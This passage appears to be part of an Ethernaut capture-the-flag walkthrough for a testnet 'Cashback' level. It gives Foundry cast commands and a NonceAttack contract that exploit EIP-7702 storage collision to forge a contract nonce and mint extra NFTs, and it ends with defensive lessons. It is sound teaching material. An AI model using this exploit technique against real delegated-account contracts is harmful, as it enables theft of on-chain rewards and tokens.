deployedBytecode. deployedBytecode Execute Attack Let's deploy our bytecode using cast from Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Execute the attack: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Check your transaction on Etherscan. You should see inner transactions related to cashback token and NFT transfers.At this point, you've achieved maximum cashback for both currencies and obtained one NFT. However, its ID corresponds to your attack contract's address, not your player address. We need one more NFT with your address as the ID. Exploiting Storage Collision for the Second NFT We still need another NFT with our address as the ID. We can't simply repeat the same approach as in the previous attack. The only way is to actually execute payWithCashback as intended—by delegating your EOA to the Cashback contract. However, we can't fake the consumeNonce function, so we need to increase our nonce some other way. payWithCashback consumeNonce EIP-7702 delegation doesn't create separate storage for each delegated contract. When an EOA delegates to a contract, the code executes against the EOA's own storage. If you delegate to different contracts over time, they all read and write to the same storage slots in your EOA. By exploiting this storage collision, we can manipulate the nonce. We'll create a contract that writes to the same storage slot, set the nonce to 9999, then re-delegate to Cashback and execute one more transaction to trigger the NFT mint. Notice that the Cashback account uses a custom storage layout directive to position its storage at a specific slot. This feature, introduced in Solidity 0.8.29, allows contracts to relocate their storage variables to arbitrary positions. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } The nonce is the first variable in the layout—all the preceding variables are constants and immutables, so they don't take slots. However, ERC1155 from OpenZeppelin takes 3 slots before nonce, so the actual slot is at 0x442a9...ba03. Knowing this, let's inject a large nonce into our EOA storage. nonce ERC1155 nonce 0x442a9...ba03 Here's the nonce manipulation contract I deployed to Sepolia: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } The next step is to delegate our EOA toNonceAttack. Foundry's cast supports authorization transactions. Usually we'd have to request our account nonce, increment it by one, sign an authorization transaction, and only then send it. But since we're sending it ourselves, we can simply provide an authorization address. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Now we can set the nonce using injectNonce(). Remember, we call this function on ourselves, not on the NonceAttack instance: injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Final Attack Step With the nonce now set to 9999 through storage collision exploitation, the final attack step involves re-delegating to the Cashback contract and executing one more transaction to push the nonce to 10,000, triggering the minting of the second SuperCashback NFT with your player address as its ID. Re-delegate your account to the Cashback instance. Follow the same steps as with NonceAttack: Re-delegate your account to the Cashback instance. Follow the same steps as with NonceAttack: NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> The Cashback contract provides a nonce function to check your nonce. Let's verify it's 9999: The Cashback contract provides a nonce function to check your nonce. Let's verify it's 9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Execute the final step by calling payWithCashback on yourself: Execute the final step by calling payWithCashback on yourself: payWithCashback cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL You now own 2 NFTs and maximum cashback. Submit the level! And before we go, don't forget to remove the delegation. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 What We've Learned 1. Validate delegation the right way. 1. Validate delegation the right way. Always check the 0xef0100 prefix before extracting the delegated target. Thanks to EIP-3541, which forbids deploying contracts whose bytecode starts with 0xef, this prefix reliably distinguishes delegated EOAs from arbitrary contracts. 0xef0100 2. Never store protocol-critical state inside an EOA. 2. Never store protocol-critical state inside an EOA. An EOA owner can delegate to any contract, and that contract can freely write to the same storage slots — including ones you might assume are private. All security-critical state must live in your protocol's storage. your protocol's storage